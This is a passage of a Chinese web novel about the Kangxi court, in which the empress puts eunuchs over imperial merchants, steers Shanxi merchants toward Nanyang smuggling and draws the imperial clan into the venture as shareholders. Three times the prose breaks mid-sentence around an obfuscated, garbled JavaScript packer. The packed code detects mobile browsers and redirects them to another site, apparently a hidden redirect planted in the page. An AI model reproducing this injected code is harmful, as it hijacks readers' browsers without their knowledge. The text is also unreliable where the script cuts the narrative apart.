珠兰送来的养老章程飘落在脚边,"西山养老院"五个字被龙袍扫过,竟似沾了层金粉。 康熙想起去年的包衣贪腐案,某总管在江南采办时,用内务府的银子给儿子买了三进宅院。而珠兰挑选的太监,档案里全是"无亲无故""净身二十载"的注脚——这群被割去根的人,连贪来的银子都没处传,除了死死抱住皇权这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046412|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棵树,再无别的活路。 他没看到收养子那一条,没觉得皇后的安排哪里不对。 梁九功趴在地上,抽抽噎噎、哆哆嗦嗦的念叨着怕外朝弹劾主子娘娘,任用太监实属后宫干政了。 “太监干政?”皇帝将章程拍在案上,震得铜鹤香炉里的香灰簌簌落下,“内务府的账,用内务府的人算,算哪门子干政?”他想起少年时在慈宁宫,祖母指着敬事房的太监说:“这些人看着阴鸷,却比外朝官员可靠——他们的软肋,捏在咱们手里。”后半句“但是,你不可轻信他们。”被康熙选择性遗忘了。 此时此刻,以内务府的名义行商事是最合适的,可以避开前朝之争,可以速行而无掣肘,可以打一个措手不及。 绕过前朝那些言官的奏折、部院的推诿,像避开河工上的暗礁——内务府的印信一盖,调拨银两、调度人手都能如履平地,不必看满汉大臣的脸色,更不必等科道言官的弹劾奏章。 这雷霆手段,恰能打那些盘根错节的商号一个措手不及,就像珠兰用晋商牵制宗室,快得让人来不及设防。 但皇帝最明白何为尾大不掉,就像治河要分流,不能让所有水都往内务府一条渠里灌。 为珠兰计长远,必须早作打算了。 谁也不晓得皇帝之心,到底飘摇于何处。 珠兰抽空看了一眼系统,皇帝的数据没咋变。他那么小心眼的,猜忌指数长一点也正常。 梁九功虽然仍旧趴在地上,满脸都是泪水,心里已经乐开了花。 阶下的明珠本是来奏报山西后续,骤然听见此事。他小心翼翼抬头,撞见帝王眼中一闪而过的狠厉。那神情与当年下令圈禁鳌拜时如出一辙,只是此刻的锋芒里多了层通透——娘娘的法子,分明是将太监的"贪"与"怕",都变成了替皇权看守钱袋的锁链。 天子不曾叫自己回避,明珠心中窃喜,自己也是近臣了。索额图说的有点道理,哪个近臣不给皇上干私活的。 三更的梆子敲过,康熙在章程上朱批"依议"二字,笔尖划过"养老银从皇商抽成里出"时,忽然想起珠兰说的"用他们赚的钱,养他们的老"。 这闭环般的算计让他低笑出声,龙涎香混着笑意漫出这东暖阁去,“告诉顾问行,让他把张起用的算盘磨亮点——算错了皇商的账,朕可不给养老银。” 当传旨小太监的脚步声消失在回廊,康熙望着窗外沉沉的夜色。乾清宫的铜鹤在月光下舒展羽翼,仿佛正衔着珠兰布下的这盘棋,飞向那些被皇商盘踞的盐场、铜矿与草原。 这哪里是任用太监,分明是给那些盘根错节的皇商,拴上了一串由"贪念"与"安稳"铸成的——最牢靠的锁链。 只是珠兰的想法,有些时候也让他跟不上。他不喜欢,任何事物脱离掌控。 晚膳过后,在屋里溜着玩儿。她会在讨论漕运时,忽然扯到南洋的胡椒价格;会在谈论前朝核对盐引时,冷不丁提起西洋的玻璃镜销路。那些跳跃的念头像江南的春水,绕着弯儿往前淌,等皇帝回过神来,她早已在河对岸搭好了桥。 想起她特意来寻他,眼睛亮晶晶地将索额图呈上来的南洋海图推到烛火边,轻叩着"荷兰东印度公司"的标记,“让晋商去南洋,不是给他们活路,是给朝廷添把刀。”她抬头,杏眼映着窗外的半圆月光,亮得像藏在棋盘深处的杀招。 海洋那样陌生的地方,怎么就吸引了她呢。荷兰人远在天边,她又为何知道他们的公司呢。即便晓得她通经营之道,通到这个程度的皇后也让他心中不是滋味。 那一刻,他感觉有些握不住她的手了。珠兰那些脱缰似的想法,像棋盘外突然落下的子,让他精心布好的局凭空多了变数。所以,他本能的迟疑了。 银簪在海图上划出弧线,将南洋与蒙古、东洋连成三角,“若晋商能在爪哇站稳脚,这盘棋才算活。”他听见她这样说,说的很有道理。 皇帝何其聪慧,一眼就看出这道看似放任的口子,实则是给晋商套上更隐蔽的绳索——南洋的利润越厚,他们就越不敢脱离皇权的掌控,只能乖乖当朝廷伸进南洋的"钱袋子"。毕竟这世间最牢的绳索,从不是铁做的,是人心底的贪与怕。 但是海禁乃国策,康熙仍然迟疑。他对海外的财富,还没有多么热衷。华夏地大物博,无需外引多少物产。百姓有田种,国库有粮收,比什么海外奇珍都牢靠。 海禁一开,不光是商人要出海,怕是连西洋的船、夷人的教、说不清道不明的“异端”,都要顺着海浪涌进来。他宁愿少些胡椒银子,也要守住这“天朝上国”的本分——就像守着祖宗传下来的骑射,纵然外头火器再厉害,自家里的规矩不能乱。 “海禁是防百姓私通外夷,可朝廷要的硫磺、象牙,总不能指望荷兰人送货上门。”她翻开索额图送来的密报,上面记着荷兰东印度公司在巴达维亚的驻军数量,“晋商敢跟三藩做买卖,难道不敢跟红毛夷打交道?这里,定然有远超草原的巨额利润!”华夏的地大物博,从来都不是“无需外引”的傲慢,而是“不愿冒险”的稳妥。可敌人,已经到了门口啊。 否则西洋人远来驻军,岂非是白白靡费。案上的鎏金烛台忽然爆出个灯花,将皇帝的侧脸映得明明灭灭。他听得懂珠兰未尽之言,看的清海上迷雾后的形势。指尖正按在“巴达维亚驻军三千”的字样上,墨渍被按出个浅坑。 当大清还在计较“海禁该不该开”时,敌人的船已经停在门口了;当朝堂还在争论“要不要跟夷人打交道”时,粤商、浙商的银子早和红毛夷的炮膛缠在了一起。 窗外的风忽然撞在窗纸上,案上的烛台猛地一晃,烛火如受惊的蛇般扭曲起来。帝后两人的影子投在海图上,恰似一头蛰伏的巨兽。 55. 布局南洋 慈宁宫 苏麻喇姑的银簪在烛火下划出细光,将珠兰任用太监的章程呈到太皇太后面前时,老人枯瘦的手指正捻着紫檀念珠。随着"太监督办皇商"的字句轻轻震颤,像在数算某个被遗忘的旧年秘辛。 “她倒敢想。”老祖宗的声音裹着药味,指甲轻轻叩在"养老互助院"的条款上,留下细碎的白痕。 苏麻喇姑忽然想起三十年前,顺治爷要废后时,老祖宗也是这样捻着念珠,在奏折上圈出"科尔沁"三字——看似漫不经心,却早将利害算得通透。 “还记得天启年的魏忠贤吗?”太皇太后忽然抬眼,烛火在她凹陷的眼窝投下阴影。 苏麻喇姑打了个寒颤,想起史料里"阉党乱政"的血字,却见老祖宗轻笑出声,“珠兰这丫头,比朱由校聪明十倍。”她用念珠挑开章程,“你看,太监只能管账,动不了盐引铜料的实权——这叫''给饵不给钩''。” 鎏金炭盆里的银丝炭噼啪作响,映着太皇太后腕间褪色的东珠手串,那是太宗旧物。“哀家在盛京时,”老祖宗忽然低语,“见惯了包衣拿着主子的银子,养自家的兵。” 当苏麻喇姑说起"出差补贴"时,太皇太后正用银勺搅着药碗。褐色药汁里浮沉着几粒人参,恰似那些被派往各地的太监——看似被捧得很高,根却始终攥在宫廷手里。 “加三成路费补贴,”她忽然停手,药勺在碗沿磕出脆响,“不是关键,安稳多得才是珠兰要说的。”用银钱算清人情,用安稳锁住忠诚,远比空谈"信任"更可靠。 更夫敲过五更,太皇太后将章程折成方胜,塞进枕下的密匣。 “告诉皇后,”她闭目时,念珠仍在指间转动,“西山养老院的地基,用当年多尔衮圈占的那块——让那些无根之人,守着谋逆者的旧地养老,倒也算桩趣事。”珠兰啊给了草原好大的便宜占,不是一年百万的事儿,是千万的利!为了这个,她乐意用太监便用吧,总归不是在皇帝身边弄个秉笔太监。 苏麻喇姑退出时,听见身后传来轻微的鼾声。皇后娘娘,总算学会了用最软的刀,割最硬的肉。原本她们在慈宁宫养育时,她还怕这丫头心太仁义,要受伤的。 彼时,山西八大皇商的家主们跪在神武门的青石板上,袍角沾满从内务府门槛蹭来的灰。 大商人王通礼捧着的账册在掌心发烫,"草原商路"四字已被朱笔圈掉,旁边批注着"科尔沁部接管"——那些用驼队踩出的黄金通道,此刻成了蒙古王公碗里的肥肉,连砖茶的运价都要被抽走三成。 当传旨太监念到"科尔沁接管大盛魁入蒙业务"时,晋商们的磕头声震飞了檐角的鸟。 跟来的李掌柜想起去年在库伦见到的场景:大盛魁的驼队绵延十里,每峰骆驼都挂着"汇通天下"的铜铃,而如今这些铃铛要换上科尔沁的狼头徽。 更让他们心胆俱裂的是,朝廷的"补偿方案"里写着:“晋商可保留生产,按山西官价供应科尔沁”——高卖低买的生意经,终究没能敌过朱批的红印。 “砖茶、绸缎、皮毛...只能按当地官价供应蒙古?”某皇商的声音劈了叉,指着圣旨上"原料产地"四字发抖。他想起自家作坊里堆积如山的丝绸,本打算开春运去恰克图赚十倍利,如今却要按"成本加五分"的价卖给科尔沁王公。算过一笔账:这样的利润,连给家里账房先生发月钱都不够。 某皇商突然瘫坐在地,怀里滚出半张日本海图。图上标注的铜矿航线已被红笔划掉,旁边盖着"马佳氏专营"的印鉴——那些用性命搏来的海上商路,此刻成了内务府包衣的囊中之物。想起曾经在船舱里藏的三藩密信,他突然明白:朝廷给的"活路",不过是把刀架在脖子上,让他们自己选砍哪只手。 去年他还在长崎港用十船丝绸换铜矿,如今却只能当个"原料供应商",利润被压得比海水还薄。没了海运便利和日本市场,甚至苏州那边的纺织场,也要保不住了。 被派来监督的太监用鞭子指着他们,“这些丝绸里若掺了次等品,咱的养老银可就没了,你们自个掂量着办。” 晋商们望着彼此,以后每个商埠都蹲着个算盘打得比谁都精的公公,连仓库的老鼠洞都要丈量尺寸,生怕他们藏了私货。这日子,还能活吗? 罢了罢了,有一日算一日。 回到解封的票号时,王通礼发现柜台上多了块新牌子:"奉旨供应"。底下压着的账簿被太监改得面目全非,绸缎的售价定死在"成本加五分",茶叶的销路被限定在山河四省境内。唯一保留的当铺生意,门口却站着内务府派来的"账房先生",连每笔当银都要记录下来,抽成给"皇商监督衙门"。 夜色漫过票号的飞檐,晋商们聚在密室里,看着被分割的商路图垂泪。草原线的驼铃换成了蒙古长调,日本海的船帆飘着马佳氏的旗号,就连自家后院的作坊,都要听太监的吆喝。 某东家突然将算盘砸在地上:“这哪是活路?分明是把我们圈养起来,当只会下蛋的鸡!” 一众掌柜的却左右看着,他们跟谁吃饭都一样,内务府的饭不一定难吃。 王通礼望着满地算珠,忽然想起山西老乡在朝堂上说的"高卖低买本就是生意"——可如今这被掐住咽喉的买卖,连讨价还价的资格都没了。 当年老祖冒死出关,上上下下打点,以为留下的是百年大计,千年之基,可曾想到后人有此劫数啊。 远处的更鼓声里,仿佛能听见科尔沁的驼队正碾过他们的商路,马佳氏的船帆正划破他们的海浪,而那些戴着顶戴的太监,正用算盘珠子,一粒粒清算着晋商曾经的辉煌。 翌日 当王通礼的马车碾过京师通往山西的碎石路时,车轮发出垂死的呻吟。 他必须马上回去大本营,稳住地方的人心,等待下一次崛起的机会。 商人不怕一次失算,他只怕晚了基业就毁了。趁着天子还要用他们,必须留下本钱,藏起来。 车帘被山风掀起,露出他袖中藏着的残损账册——上面标着的"直隶绸缎"销量,已被砍去七成。 当马蹄声在隘口骤停,他看见道旁老槐树下,蟒袍在泛着冷光,恰似当年抄家时贴在晋商银库上的封条。 “王掌柜的砖茶,在苏门答腊能卖出三十倍价。”索额图把玩着翡翠翎管,管尖的寒光扫过王通礼惨白的脸。 老四写回来的信,他也看了,触动颇深。袖子里,王子腾送来的孤女所录的粤商走私记录,也让索额图觉得这就是天意。 若非娘娘之志远,下南洋这样的好事还轮不到晋商。再有个三四年,等造船厂里的蒸汽大船纷纷下水,他们赫舍里的船自可以纵横四海,无需分润任何人。 太行山脉的阴影漫过两人脚边,将"南洋"二字埋进更深的黑暗。 王通礼见那神色冷峻的大人抛出个油布包,里面滚出的海图上,马六甲海峡被红笔圈出,旁边批注着的是不算太陌生的"荷兰东印度公司"——那是晋商不曾涉足的贸易禁区,此刻却成了索大人口中的活路。 据家中老四柯尔坤传回来的消息,西方一国荷兰将马六甲作为南洋贸易的中心之一,利用其地理优势,建立了强大的贸易网络,垄断了香料等商品贸易,每年所赚不菲。 听索额图简单说了几句,王通礼的指甲便掐进掌心,血珠滴在账册上的"奉旨供应"四字。 他想起太监督办处,那些公公们连仓库的墙角都要敲三遍,却没想过索额图敢在皇上眼皮底下,凿开一道通往南洋的暗渠。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053055|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不,也许,这是贵人的意思…… “朝廷...不是禁海吗?”他的声音抖得像风中的驼铃,去年在苏州关被没收的三船私货,此刻仍在梦里泛着海水的咸腥。 他们走私的事儿,定然也是那时候被记录了。 索额图突然凑近,山岚的寒气裹住他,“太监们盯的是国内商路,马佳氏的船也到不了爪哇。”他用靴尖挑起海图上的胡椒、香料、白银等产地,“你晋商的骆驼能走沙漠,难道船就不能渡南海?” 山风掀起他的袍角,露出腰间挂着的密符,那是内务府特批的"采办药材"令牌——足以让南洋商船挂上"皇家旗号"。 王通礼望着远处盘查的关卡,那些兵卒的腰牌上刻着"皇商督办处",却对索额图的马车视而不见。 他忽然就明白:朝廷掐死的是明面上的商路,却在权力的阴影里留了道缝——让他们这些晋商替某些人做那些"不便明说"的生意。 海图上的红圈与索额图眼中的贪婪重叠,恰似当年他们囤积居奇时,算盘珠子落下的弧度。 当油布包被塞进车厢时,王通礼听见自己的心跳盖过了马蹄声。海图上的航线像条毒蛇,一头连着南洋的香料群岛,另一头系着京城的权力漩涡。 不过是换了个主子罢了,宗室靠不住,内务府却不然。这一次的事让王通礼意识到,他们只能跟着天子走,才有活路。 索额图最后那句话还在耳畔,“草原线给了科尔沁,东海给了马佳氏...南洋的银子,总得有人分。” 马车重新启动,王通礼摸着海图上被朱砂圈住的"婆罗洲",忽然想起祖父年轻时走西口的誓言——那时用命换钱,如今用钱换命,不过换了片更凶险的江湖。 太行山脉的轮廓在暮色中渐远,他掀开账册新的一页,用残墨写下"南洋"二字。墨迹在颠簸中晕开,像片正在蔓延的血渍。 索额图不曾回头去看,晋商一定会上钩的。 三更的梆子响过,王通礼在平遥总号的密室里铺开索额图给的南洋海图。烛火照着"荷兰东印度公司"的字样,像照见自己的坟头。 墙角的酒坛被碰倒,陈年汾酒淌满一地,浸得那些与王府往来的分利账册发涨。 王通礼忽然大笑,笑得眼泪直流——他们囤积居奇时被骂"奸商",背后得了银子的宗室可半点没有损失,只有他们近乎没了三代积攒的资源,如今又要被朝廷榨干最后一滴血,活该啊。 天快亮时,第一缕阳光照进票号。王通礼望着"日升昌"的匾额,忽然觉得那三个字像个巨大的嘲讽——日头确实升了,却照不亮眼前的路。 要么被朝廷的朱批压死,要么在权力的缝隙里,做一场赌命的南洋梦。 乾清宫 珠兰明白康熙说起"开海"时的犹豫——满朝文官都怕重蹈"倭寇之乱",也怕郑氏捣乱,可河工、平藩哪样不要钱? 她劝解皇上,就说让晋商去南洋"走私",实则是打着"违禁"的幌子,替朝廷摸清海上的虚实,等时机成熟,再将这些"非法贸易"收归官办,届时谁也挑不出错来。 这群被割去草原、东洋商路的"惊弓之鸟",只要给点甜头就会拼命抓住,哪怕那甜头裹着毒药。 她要的不仅仅是安稳的商路,更是将这群大胆"奸商"变成触手,在海禁的铁幕上撕开道缝,让内廷的算盘,能打到更遥远的海域去,给皇室赚更多的钱。 皇帝,被她说服了。 当第一缕晨光爬上乾清宫的匾额,海图上的南洋航线已被康熙的朱笔描成赤色,恰似一条即将吞下利益的巨蟒,缓缓张开了嘴。 “太皇太后曾对妾身言道盛京之事,还问皇上可要效仿太祖,把宗室重新套上马车呀。” 56. 捆绑宗室 鎏金铜鹤香炉里的龙涎香漫过御案,月桂的香气飘摇,珠兰将南洋海图推到康熙面前,在“爪哇”二字上轻轻一点,“晋商通南洋的利,绝对不薄,可本钱也决计不少。” 皇帝闻言,眉毛一抽。 珠兰转而取出一本新鲜出炉的账本,这是某一粤商的走私记录,索额图送来的。 皇帝翻开,眼睛也开始抽。 对,就是走私记录。赤裸裸的记载了广府一家中等商户走私所得,一年百万两小儿科。 具体怎么回事呢,是这么回事: 一名粤商是想要往三藩卖琉璃,为了与薛奋搭上关系,就把家中美丽柔弱的侄女送给薛奋做妾。薛奋的婚事还没落地,哪里敢背着大舅哥生事,就把该女送到了王家。 王子腾回家以后,此女竟有胆识去寻,把家中赖以生存的走私路线当投名状交给了王子腾,要求就是报复夺取孤女家产的叔叔。打着主意就是,鱼死网破,谁都别活。王子腾也不敢擅自做主,带着此女就找到了索额图。 现在这大胆的粤女潘青娴,还在赫舍里的商铺里住着,叫掌柜的当账房使唤着呢。 珠兰瞅了一眼,忠诚度57,居然不低,穆尔哈是给这姑娘灌输啥了,短短一个月洗了脑。 她抬眼时,鬓边珍珠流苏扫过案头堆叠的三藩战报,“只是风险不小,听说海上盗匪的火炮比三藩的厉害。若让宗室参股,内务府的负担便小了,也能带上更多绣品、参茸、瓷器,回来时便能多载些胡椒、苏木、金丝楠。” 康熙的翡翠扳指在海图边缘碾出白痕,指尖划过"宗室"二字时,喉间溢出一声冷笑。 “安亲王岳乐私下还在为粮商案的罚银抱怨,那些黄红带子们拿着朝廷的俸禄,却连自家旗丁的饥寒都不管,只知道把银子藏地窖里。让他们参股?”帝王的声音裹着冰碴,“怕是船还没出港,舱底的货就被分赃干净了。” 要的就是他们地窖里的银子啊,皇上。 要说做生意,得有利润,更得有本钱。 是谁的本钱最厚,必然是八旗勋贵,首当其冲的就是亲王宗室这群守财奴。 银子在他们的地窖,只能积灰,不拿出来花销,怎么推动世界进程。 只是皇帝的思路不同,话得换个法子说。 珠兰忽然将海图挪开,露出底下压着的宗人府名册。某页用朱砂圈着"红带子觉罗福安",旁边批注着"女无嫁妆,嫁与披甲人为妻"。 时下盛行“厚嫁”之风,女方需准备丰厚的嫁妆,否则女子婚后可能会被男方家庭虐待。对于贫困的红带子家庭来说,难以承担这笔费用,导致很多红带子家族的女子因家贫出不起嫁妆而无法嫁人。 她的声音絮叨着这些,软得像江南的绸子,却裹上了脖子,“为太皇太后侍疾时,镶黄旗来的一位诰命夫人说,福安家的格格,陪嫁只有一床旧棉絮。” 红带子是指努尔哈赤的堂兄弟以及从堂兄弟的后人,属于皇族的最外围。他们社会地位和待遇远不如黄带子(努尔哈赤及兄弟的直系后裔),无法获得宗室的高等爵位,大多只能依赖朝廷微薄的赡养银勉强维生。 康熙猛地拍案,震得铜鹤香炉里的香灰簌簌落下,“红带子也是爱新觉罗的血脉!”竟有此事,朕的名声啊!让天下臣民知道,朕的亲戚没嫁妆嫁不出去,朕的脸面还要不要了。少年人最是要面子的,珠兰晓得。 根据“养赡银”制度,觉罗男子年俸银二十四两,另支禄米二十一斛二斗,但觉罗女子没有这份待遇。 他想着那些远支宗室的宅院可能比旗丁的还破,却要硬撑着"天潢贵胄"的体面。可怒气翻涌间,又想起安亲王库房里堆积如山的晋商贿赂,那些亲王贝勒们连军饷都敢克扣,国难财都要发,哪会有仁心去管远亲的死活?还得靠朕这个大家长了! “给他们发钱,”帝王的指节捏得发白,“不出三月就会变成赌桌上的筹码、勾栏里的戏票。”他太清楚这些宗室的德性——朝廷的补贴像泼进沙砾的水,连点声响都留不下。 旗人的谋生方式被严格限定,核心是通过制度设计将旗人捆绑于“军事-特权”体系,限制其从事普通民人的生产职业,以维护旗人的“兵籍”属性和统治基础。禁止务农、经商、做工,考不上科举,谋不到旗缺儿,当不上兵的,就只能闲逛了。 珠兰瞅着他的神色,将名册翻到"宗室女眷"一页,“与其用皇上的内库给他们填上无底洞,不如指望南洋的生意,可以按人头分利——男丁算一份,女儿也算一份。”旗人不可以经商,皇上可以啊,赚了钱分给穷亲戚不就行了。 她用银簪在"嫁妆"二字下划了道线,“这笔钱由宗人府代管,姑娘出阁时才能支取,谁也挪不走。” 康熙盯着"按人头分利"六个字,明白珠兰的深意。让穷宗室从南洋生意里得实惠,既堵了亲王们的嘴——总不能眼睁睁看着远亲饿死而不想招数,又能将这些散沙般的黄带子、红带子,全拴在南洋这条商路上。 虽然不知道皇后为何如此重视海上商路,但疑心刚刚升起,一见珠兰那与葛布喇如出一辙的眉目,康熙就会觉得自己心脏。 皇后明明是为了自己这个丈夫,才会想着赚钱,才会绞尽脑汁想着从海上开源。 珠兰之心,他从不怀疑。 可是一年千万,内务府未免太大了…… 那些手握兵权的亲王们,只要见穷亲戚都能沾光,成功赚到银子,以后自然更会卖力盯着商路安全,毕竟枪炮一响,谁的银子都落不到实处。珠兰需要一条稳定的南洋商路和一支强大的海军,不能总耗费能量结晶去买运气。 皇帝把思路又挪回来,“女儿也给!”他语气松动了些,若是觉罗女子名下有了银子,嫁妆断不会寒酸至此,影响自己的名声。 珠兰的法子,比直接发钱更贴心——既保全了宗室的体面,又让好处落到实处。 铜漏滴答声里,海图上的航线与宗人府名册重叠,恰似将宗室的命运与南洋的风浪捆在了一起。 他想起太皇太后常说的"一根筷子易折,一把筷子难断",这些宗室虽贪鄙,却是八旗的根本,三藩未平,确实需要他们拧成一股绳。 国内的利益已经是皇帝的囊中物,让他分润出去,实在肉疼。虚无缥缈的南洋利,具体多还是少,都没落到实处。风险与收益,也难说呢。皇帝对海洋,属实也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057307|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没多信任。风险共担的私欲,多过利润公分的念头。 “着裕亲王拟章程,”康熙的声音终于缓和,却仍带着不容置疑的强硬,“亲王贝勒按照品级出银子做成本,他们共领四成九的干股,不准插手经营——账本由内务府派出太监管着。”他考虑,福全在理藩院,不如去内务府帮皇后分担一二。 珠兰俯身捡拾散落的海图纸页,见康熙已提笔在"宗室参股"旁朱批"依议",笔尖的朱砂在纸上晕开,像极了南洋海域的落日,将帝王的独断与宗室的命运,都染成了同一种颜色。 用福全,并非不信任皇后。朕,只是不想她太累。待前头安稳了,总要让珠兰每日清闲度日才好。他还记得,葛布喇形容珠兰是山川之玉。总让她陷于风波诡谲,非人丈夫作为。 他顿了顿,翡翠扳指重重磕在"红带子"三字上,“其余宗室不用他们再出银子入股了,按照人头给他们的分润,从内务府的南洋利里出,朝廷一分钱补贴都不加。”他还是要脸的,穷亲戚就不让他们出本钱了,免得真逼死几个。 殿外的日头爬上乾清宫的鸱吻,照见御案上并置的南洋海图与宗室名册。 那些曾经游离在权力边缘的红带子、黄带子,终将与开往南洋的商船连在一起,既是被安抚的棋子,也是被捆绑的同谋——而这盘大棋的最终赢家,从来只有龙椅上的那个人。 康熙唇角带笑,如此想着。皇后果然爱朕啊,为了减轻太皇太后给朕的压力,想到这样的好办法。 只是,再添上这一处大买卖,内务府未免就更加臃肿了。福全暂时分走这一块儿,也不能是常态。 裕亲王福全接过皇帝朱批时,指腹触到"亲王贝勒按品级出银"的墨迹,心头猛地一沉。 圣旨套在紫檀木盒里,沉甸甸的分量压得他手腕发酸——这哪是分润南洋生意,分明是借着"入股"的由头,变着法儿罚宗室的银子。 那南洋,不仅在三藩之南,咱连认识都不认识,还是海上,咱一群旱鸭子,去了人生地不熟,这也能赚钱? 就是有晋商在,那晋商也不晓得南边的斤两啊。 上个月的粮商案里,多少亲王贝勒被抄了家底,如今皇帝要他们掏本钱投入危机四伏的南洋,怕不是又想借机敲打? 若是皇上真心想让宗室好过,琉璃不给,也该给那蜂窝煤啊。 随着天气渐渐冷,九月里内务府蜂窝煤商铺已经在整个黄河流域铺开,十月时一些店面都开去湖南和张家口了。今年,定是能比去年贡献更多的收入,利润百万两打底。 只是福全等人不知,这东西极为容易仿造,路途远了利润便更薄,虽然一般人卖煤得给户部交税,所以抢不过免税的内务府。但是总有些人,会走私呀。 索额图在尚未入冬时便上奏预估,内务府蜂窝煤生意两三年内就会收缩。 皇帝觉得,必须有另一个足够大的财源顶上,毕竟今年皇商那头的收益都还没能入库。于是,他决定亲自召见薛奋,操盘琉璃生意。 他就是一时觉得内务府大了,一时又觉得利润薄了。 珠兰:皇帝的猜忌值怎么又涨了?无所谓,反正我的目的达到了就行。 57. 分歧开端 福全回到王府时,西跨院的账房还亮着灯。 晋商王通礼正捧着南洋海图打盹,案头摊着的演算纸写满密密麻麻的数字,他仿佛在说梦话,“爪哇胡椒每斤成本三分,运回苏州能卖三钱——一船便是万两纯利。” 他回去料理清楚家中,没敢隔多久便又赶紧跑了回来。不把京中打点好,什么都办不成。 裕亲王一脚踹开房门,惊得王通礼打翻了算盘,算珠滚得满地都是,恰似那些即将到手的银子。 “你说什么?”裕亲王揪住他的衣领,朱批上的"干股"二字突然在脑中生了光。这晋商称量的斤两,未免太吓人了。 王通礼哆嗦着铺开另一份账册,指着某些人搞来的荷兰东印度公司的贸易清单,“红毛夷在巴达维亚的仓库,苏木堆得比王府的影壁还高,咱们的绸缎过去,能翻八倍利!” 他忽然压低声音,“索大人的人早探过了,粤商那几船私货靠岸广府,舱底铺着金沙压仓。”这才不到两个月的功夫,就已经把底子摸到了,他也佩服着呢。 裕亲王盯着账册上的"五倍利、八倍利、十倍利",后颈的冷汗瞬间变成热流。他总算咂摸出皇帝的深意——让亲王按品级出银,看似是"坑银子",实则是给了个攀龙附凤的由头啊。 这老王从山西回来投靠无门,自己收留他是太对了!福全选择性遗忘了,是索额图亲自带人上门,劝说自己收下的。 内务府的太监管账本?那是怕他们这帮不懂买卖的王爷贪得无厌,断了长久的财路。 哪个说天子抠门的,天子简直太大方了! 王通礼抹着汗,这条生路是索大人指点的,他定要把握住! 翌日 康亲王正点烟,听裕亲王说完章程,当即把翡翠烟杆往桌上一拍:“皇上让出多少就出多少!” 他翻开自家库房账册,指着"现银二十万两"的条目,“别说分润,就是全赔了,也得跟皇上一条心——三藩还没平,咱们这些铁帽子,哪能只顾着钱袋子?” 康亲王福晋在旁搭话:“前日去给太皇太后请安,老祖宗也说天子念着咱们不易呢。皇上心里装着多少事?咱们出点银子算什么。” 裕亲王从康王府出来,这是开门红,他转头去寻了安亲王。 安亲王捏着账册的手指泛白,案头堆着南洋海图与荷兰火炮的图纸。“商路是好,”他对着裕亲王叹气,指节叩着那个南洋的"巴达维亚",“可红毛夷的船比咱们的快,去年福建水师的船···说沉就沉了。”他忽然压低声音,“再者说,晋商只去过东海的船,在南边能吃的开?这南洋的利,怕是烫手。” 旁边的大儿子忍不住插话:“阿玛,您忘了今儿额娘回来说,太皇太后怜惜红带子家的姑娘连嫁妆都凑不齐...” 安亲王猛地将账册合上,檀木封面磕出闷响,“我不是心疼银子,是怕这生意黄了,反倒让皇上觉得咱们没用!” 福全听着,原来总听说这位心机谋算是一等一的,现在一看还是康亲王更有眼界。 庄亲王正让账房先生算"亲王品级该出多少银",听见"五倍利"时,偷偷让管家去库房数了十万两现银。 顺承郡王攥着太皇太后赏赐的玉佩发呆,他想起幼时先皇教他骑射时说的"宗室就得抱团",咬咬牙让长史备车去银库,两万两他拿得出来。 唯有简亲王在府里病着,让弟弟出来打太极,对裕亲王说:“家兄说,得看看从哪里再抽些银子...” 月上中天时,裕亲王从最后一家王府出来,袖中揣着各家的认股清单。 康亲王的二十万两最是爽快,超额给的。安亲王虽犹豫,却也在清单上画了押,出了五万两银子,只在后注里写了"请派水师护航"。 他望着王府街的灯笼连成一片,忽然想起先生说过的"雪中送炭少"——可当利益足够诱人时,再冷的亲戚,也愿意围拢过来烤火。只是真能认识到利的,又有多少呢。 回到府中,王通礼还在算账,见裕亲王进来,慌忙呈上新拟的宗室入股名册。 最末一页写着"红带子觉罗福安",旁边标注着"其女分润可作嫁妆"。 裕亲王提笔在旁批了个"准"字,笔尖的墨汁落在纸上,晕开的痕迹恰似南洋海域的浪涛,将宗室的贪婪与忠诚、犹疑与决绝,都卷进了这场由皇帝布下的大棋里。 窗外的梆子敲过三更,裕亲王望着天边的启明星,忽然笑了。 那些以为皇上要"坑银子"的贝勒王爷们,日后见到账册上的利润,怕是要连夜从银库里往外搬投入商道。只是到时候,皇上可不见得还给机会了。 而他这个传话人,总算明白了乾清宫里那盘棋的深意——用南洋的利,捆住宗室的心,比十万兵甲还管用。 钱啊,谁会不喜欢。皇帝,可喜欢的不得了呢。 康熙五年十一月的雪落进乾清宫的鎏金铜炉,化作一缕白汽。 御案上摊着宁古塔将军巴海的密报,墨迹被烛火烤得发脆。 